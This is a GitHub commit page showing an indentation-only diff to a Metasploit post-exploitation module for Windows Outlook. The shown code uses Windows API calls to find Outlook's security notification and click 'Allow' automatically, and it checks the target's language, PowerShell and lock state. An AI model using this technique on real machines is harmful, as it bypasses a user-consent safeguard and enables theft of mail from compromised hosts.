Skip to content

Commit f1f7438

Browse files
committed
more formatting
1 parent 9187a40 commit f1f7438

File tree

1 file changed

+22
-22
lines changed

1 file changed

+22
-22
lines changed

modules/post/windows/gather/outlook.rb

Lines changed: 22 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -73,17 +73,17 @@ def clickButton(atrans,acftrans)
7373
sleep 1
7474
hwnd = client.railgun.user32.FindWindowW(nil, "Microsoft Outlook")
7575
if hwnd != 0
76-
hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}")
77-
client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil)
78-
client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true)
79-
hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}")
80-
client.railgun.user32.SetActiveWindow(hwndChild['return'])
81-
client.railgun.user32.SetForegroundWindow(hwndChild['return'])
82-
client.railgun.user32.SetCursorPos(150,150)
83-
client.railgun.user32.mouse_event(0x0002,150,150,nil,nil)
84-
client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil)
76+
hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}")
77+
client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil)
78+
client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true)
79+
hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}")
80+
client.railgun.user32.SetActiveWindow(hwndChild['return'])
81+
client.railgun.user32.SetForegroundWindow(hwndChild['return'])
82+
client.railgun.user32.SetCursorPos(150,150)
83+
client.railgun.user32.mouse_event(0x0002,150,150,nil,nil)
84+
client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil)
8585
else
86-
print_error("Error while clicking on the Outlook security notification. Window could not be found")
86+
print_error("Error while clicking on the Outlook security notification. Window could not be found")
8787
end
8888
end
8989

@@ -98,20 +98,20 @@ def run
9898
# OS language check
9999
sysLang = client.sys.config.sysinfo['System Language']
100100
A_HASH.each do |key, val|
101-
if sysLang == key
102-
langNotSupported = false
103-
atrans = A_HASH[sysLang]
104-
acftrans = ACF_HASH[sysLang]
105-
end
101+
if sysLang == key
102+
langNotSupported = false
103+
atrans = A_HASH[sysLang]
104+
acftrans = ACF_HASH[sysLang]
105+
end
106106
end
107107

108108
if allow and allow_access_for
109-
atrans = allow
110-
acftrans = allow_access_for
109+
atrans = allow
110+
acftrans = allow_access_for
111111
else
112-
if langNotSupported == true
113-
fail_with(Failure::Unknown, "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
114-
end
112+
if langNotSupported == true
113+
fail_with(Failure::Unknown, "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
114+
end
115115
end
116116

117117
# Outlook installed
@@ -128,9 +128,9 @@ def run
128128

129129
# Powershell installed check
130130
if have_powershell?
131-
print_good("Powershell is installed.")
131+
print_good("Powershell is installed.")
132132
else
133-
fail_with(Failure::Unknown, "Powershell is not installed")
133+
fail_with(Failure::Unknown, "Powershell is not installed")
134134
end
135135

136136
# Check whether target system is locked

0 commit comments

Comments
 (0)